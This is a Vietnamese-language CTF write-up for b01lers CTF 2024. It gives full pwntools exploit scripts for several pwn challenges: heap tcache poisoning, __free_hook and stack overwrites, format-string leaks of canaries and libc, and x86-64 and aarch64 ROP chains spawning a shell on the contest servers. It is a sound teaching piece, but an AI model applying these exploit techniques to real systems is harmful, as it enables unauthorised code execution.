# (writeup) b01lers CTF 2024
- giải này khá dễ nên chỉ wu bài arm thôi nhé
- mấy bài khác làm lai rai nên sẽ để script và idea exploit thôi
## shall-we-play-a-game
- ret2win
## easy note
- libc 2.29
- script:
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chal_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
def GDB():#NOALSR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x5555555554e0
b*0x555555555406
b*0x555555555467
b*0x55555555553c
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('gold.b01le.rs',4001)
else:
p = process(exe.path)
def add(idx,size):
sla(b'Resize----\n',b'1')
sl(str(idx))
sl(str(size))
def delete(idx):
sla(b'Resize----\n',b'2')
sla(b'Where? ',str(idx))
def show(idx):
sla(b'Resize----\n',b'3')
sla(b'Where? ',str(idx))
def edit(idx,size,data):
sla(b'Resize----\n',b'4')
sla(b'Where? ',str(idx))
sla(b'size? ',str(size))
sl(data)
def resize(idx,size):
sl(b'6')
sla(b'Where? ',str(idx))
sla(b'size? ',str(size))
add(0,0x450)
add(1,0x48)
GDB()
delete(0)
show(0)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x3afca0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
delete(1)
delete(1)
system = p64(libc.sym.system)
payload = p64(libc.sym.__free_hook)
edit(1,0x48,payload)
add(2,0x48)
edit(2,0x48,b'/bin/sh\0')
add(3,0x48)
edit(3,0x48,system)
delete(2)
p.interactive()
#bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy}
```
>bctf{j33z_1_d1dn7_kn0w_h34p_1z_s0_easy}
## medium note
- source tương đồng bài easy note nhưng hơi khác chút
- khác luôn libc (2.36) (không dùng hook được)
- thay vào đó ta sẽ ow trên stack để ret2libc
- có thêm vài security check thôi
- script:
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chal_patched',checksec=False)
libc = ELF('./libc-2.36.so.6',checksec=False)
def GDB():#NOALSR
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x55555555540b
b*0x555555555595
b*0x5555555556a7
b*0x555555555519
b*0x5555555555f5
b*0x5555555556af
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('gold.b01le.rs',4002)
else:
p = process(exe.path)
def add(idx,size):
sla(b'Resize----\n',b'1')
sl(str(idx))
sl(str(size))
def delete(idx):
sla(b'Resize----\n',b'2')
sla(b'Where? ',str(idx))
def show(idx):
sla(b'Resize----\n',b'3')
sla(b'Where? ',str(idx))
def edit(idx,data):
sla(b'Resize----\n',b'4')
sla(b'Where? ',str(idx))
sl(data)
def resize(idx,size):
sl(b'6')
sla(b'Where? ',str(idx))
sla(b'size? ',str(size))
sl(b'7')
p.recvuntil(b'Address: ')
secret = int(p.recvuntil(b'\n',drop=True),16)
exe.address = secret - 0x159f
heap = exe.address + 0x4060
info("secret: " + hex(secret))
info("exe base: " + hex(exe.address))
add(0,0x450)
add(1,0x68)
delete(0)
show(0)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - 0x1d1cc0
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
delete(1)
show(1)
leak = u64(p.recv(5)+b'\0\0\0')
leek = leak << 12
ptr = leek + 0x700
info("heap leak: " + hex(ptr))
edit(1,b'\0'*0x10)
delete(1)
add(2,0x50)
system = p64(libc.sym.system)
info("system: " + hex(libc.sym.system))
addr = heap
need = (ptr >> 12)^addr
edit(1,p64(need))
# GDB()
add(3,0x68)
add(4,0x68)
payload = b'\0'*8 + p64(libc.sym.__environ)
edit(4,payload)
show(1)
stack_leak = u64(p.recv(6)+b'\0\0')
info("stack leak: " + hex(stack_leak))
stack_need = stack_leak - 0x128 - 0x10 - 0x30
info("need: " + hex(stack_need))
add(5,0x40)
delete(5)
edit(5,b'\0'*0x10)
delete(5)
ptr = leek + 0x300
addr = stack_need
need = (ptr >> 12)^addr
edit(5,p64(need))
add(6,0x40)
# GDB()
add(7,0x40)
pop_rdi = libc.address + 0x000000000002aa82
payload = b'a'*0x18
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
# payload += p64(pop_rdi+1)
payload += system
edit(7,payload)
p.interactive()
#bctf{sm4ll_0v3rfl0w_1z_571ll_b4d_0k4y}
```
>bctf{sm4ll_0v3rfl0w_1z_571ll_b4d_0k4y}
## seeing-red
- hàm **use_ticket()** là bịp
- fmt + bof
- ret2libc
- script
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chal')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# p = process(exe.path)
p = remote('gold.b01le.rs',4008)
# gdb.attach(p, gdbscript='''
# b*main+138
# b*help_me+102
# c
# ''')
# input()
payload = b'a'*0x48
payload += p64(0x000000000040131f)
payload += p64(0x000000000040101a)
payload += p64(exe.sym.help_me)
p.sendlineafter(b'be?! \n',payload)
payload = b'%27$p'
p.sendafter(b'song? ',payload)
p.recvuntil(b'Ooohh! ')
libc_leak = int(p.recvuntil(b'T',drop=True),16)
libc.address = libc_leak - 0x29e40
log.info('libc leak: ' + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
pop_rdi = libc.address + 0x000000000002a3e5
payload = b'a'*0x48
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(libc.sym.system)
p.sendlineafter(b'be?! \n',payload)
p.interactive()
#bctf{dr1ving_a_n3w_maser@t1_d0wn_@_d3ad_3nd_str33t_eb30c235cde76705}
```
>bctf{dr1ving_a_n3w_maser@t1_d0wn_@_d3ad_3nd_str33t_eb30c235cde76705}
## zero-to-hero
- là shellcode ascii nhưng filter syscall --> brute flag từng bit
## arm-and-a-leg
- basic file check

- check ghidra

>**main()**

>**worthyness_tester()**

>**get_address()**

>**feedback()**
### analyse
- chall cho 2 option, nhưng đọc sơ qua hàm **main()** thì đ' thấy khác gì =))
- nó sẽ có hàm check để đi tiếp **get_address()** và **feedback()** với input chỉ cần là 1337
- trong hàm **get_address()** có bug FMTSTR ---> leak libc, stack, v.v..
- trong hàm **feedback()** có BOF cho phép nhập tận 0x100 byte
- note: architecture là aarch64 nên cách khai thác hơi khác arm32 có wu trước đây
### leak primitive
- có canary ---> leak canary rồi leak thêm libc
### ❌ ret2shellcode
- dù checksec thấy NX tắt, cộng thêm gdb vmmap thấy stack là rwxp nên hơi hoang mang ( chắc do qemu ngu ngu )
- shellcode
> link: https://shell-storm.org/online/Online-Assembler-and-Disassembler/

- test thử thì local ra đấy, nhưng server thì không

- script tham khảo thôi =))

```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chal',checksec=False)
# libc = ELF('./libc.so.6',checksec=False)
context.arch = 'aarch64'
context.log_level = "debug"
p = process(exe.path)
# p = process(['qemu-aarch64', '-g' ,'1234' ,'./chal'])
# raw_input('Debug')
# p = remote("arm-and-a-leg.gold.b01le.rs",1337)
p.sendlineafter(b'2. Legs\n',b'1')
p.sendlineafter(b'of?\n',b'1337')
p.sendlineafter(b'appendage? ',b'%15$p|%21$p||%20$p')
p.recvuntil(b'to: ')
canary = int(p.recvuntil(b'|',drop=True),16)
log.info("canary: " + hex(canary))
libc_leak = int(p.recvuntil(b'||',drop=True),16)
libc_base = libc_leak - 0x374cc
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc_base))
stack_leak = int(p.recvline(),16)
log.info("stack leak: " + hex(stack_leak))
# binsh = libc_base + 0x15d9f8
need = stack_leak - 0x1a0
log.info("stack need: " + hex(need))
shellcode = b"\x80\x00\x00\x58\xa8\x1b\x80\xd2\x01\x00\x00\xd4"
payload = shellcode + b'a'*4
payload += p64(need+0x20)
payload += b'a'*8
payload += b'/bin/sh\0'
payload = payload.ljust(104,b'a')
payload += p64(canary)
payload += p64(0x412a00)
payload += p64(need) # <--- return
payload += b'a'*0x8
payload += p64(canary)
p.sendlineafter(b'feedback?!\n',payload)
p.interactive()
```
### ✅ ret2libc
- đổi qua phương án này
- cái khó là phải kiếm các gadget từ libc
- về libc thì lấy từ docker ra

- để thực thi system('/bin/sh\0') thì thanh ghi x0 (tương đương $rdi) là 1 addr trỏ chuỗi /bin/sh
- thanh ghi return (giống $rip) là x30 cần chứa system
- và cần 1 lệnh call system (ở trường hợp này lấy lệnh `blr`)
- sau khi giành 7749 time để lục gadget thì thu đc 2 gadget có vẻ usefull
`mov x0, x19 ; blr x22`
> search key là `mov x0`
> đưa value x19 vào x0 rồi call x22
`ldp x19, x21, [sp, #0x10] ; ldp x22, x23, [sp, #0x20] ; ldp x29, x30, [sp], #0x60 ; ret`
> search key là `ldp`
> đưa [sp + 0x10] vào x19
> đưa [sp + 0x10 + 0x8] vào x21
> đưa [sp + 0x20] vào x22
> đưa [sp + 0x20 + 0x8] vào x23
> đưa [sp] vào x29
> đưa [sp + 0x8] vào x30
> tăng sp lên 0x60
- phân tích gadget:
1. vì ta cần /bin/sh ở x0 nên sẽ tìm `mov x0`
- và cho ra khá nhiều gadget tương đồng

> để nguyên ở đó, sẽ so sánh `blr` các thanh ghi với lệnh khác
2. vì ta cần x19 chứa /bin/sh, ngoài ra cần liên quan cả `ret` lẫn thanh ghi `x30`

> ngồi đối chiếu 2 lệnh thì thấy lệnh này khả quan
- ok việc chọn gadget xong, ta qua bước ret2libc
- ở mỗi func đều có check canary nên mỗi lần return 1 hàm ta sẽ thêm canary để bypass
- lạ 1 chỗ khi debug thì return ở **main()** lại không nằm sau **main()** =))))
- mà nó nằm sau hàm **feedback()** (nhưng lại có return main rồi check canary ở **main()** bình thường :v )
- return sau **feedback()** lại lấy stack pointer (sp) là sau canary của main nên từ sp đó chain payload hợp lí thôi

> flow như sau
> canary
> sp : x29 (junk)
> sp + 0x8: x30 ($rip) (gadget_mov)
> sp + 0x10: x19 (binsh)
> sp + 0x18: x21 (junk)
> sp + 0x20: x22 (blr x22) (system)
> sp + 0x28: x23 (junk)
### get flag

- debug.dbg
```dbg
file chal_patched
set architecture aarch64
target remote :1234
b*main+64
b*worthyness_tester+64
b*get_address+56
b*feedback+64
b*main+240
c
```
- script
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chal_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.arch = 'aarch64'
context.log_level = "debug"
# p = process(exe.path)
# p = process(['qemu-aarch64', '-g' ,'1234' ,'./chal_patched'])
# raw_input('Debug')
p = remote("arm-and-a-leg.gold.b01le.rs",1337)
p.sendlineafter(b'2. Legs\n',b'1')
p.sendlineafter(b'of?\n',b'1337')
p.sendlineafter(b'appendage? ',b'%15$p|%21$p||')
p.recvuntil(b'to: ')
canary = int(p.recvuntil(b'|',drop=True),16)
log.info("canary: " + hex(canary))
libc_leak = int(p.recvuntil(b'||',drop=True),16)
libc.address = libc_leak - 0x274cc
log.info("libc leak: " + hex(libc_leak))
log.info("libc base: " + hex(libc.address))
binsh = next(libc.search(b'/bin/sh\0'))
log.info("binsh: " + hex(binsh))
system = libc.sym.system
log.info("system: " + hex(system))
mov_x0_x19_blr_x22 = libc.address + 0x00000000000ba360
gadget1 = libc.address + 0x00000000000dbf1c #ldp x19, x21, [sp, #0x10] ; ldp x22, x23, [sp, #0x20] ; ldp x29, x30, [sp], #0x60 ; ret
payload = b'a'*104
payload += p64(canary)
payload += p64(0x412a00)
payload += p64(gadget1) # <--- return
payload += p64(0)
payload += p64(canary)
payload += b'a'*0x8#sp
payload += p64(mov_x0_x19_blr_x22)#sp+8
payload += p64(binsh)#sp+0x10
payload += p64(0)#sp+0x18
payload += p64(system) #sp+0x20
payload += p64(0)#sp+0x28
p.sendlineafter(b'feedback?!\n',payload)
p.interactive()
#bctf{c0st_y@_@n_ARM_@nd_a_l3g!_a1659d0e634100240e6}
```
>``bctf{c0st_y@_@n_ARM_@nd_a_l3g!_a1659d0e634100240e6}``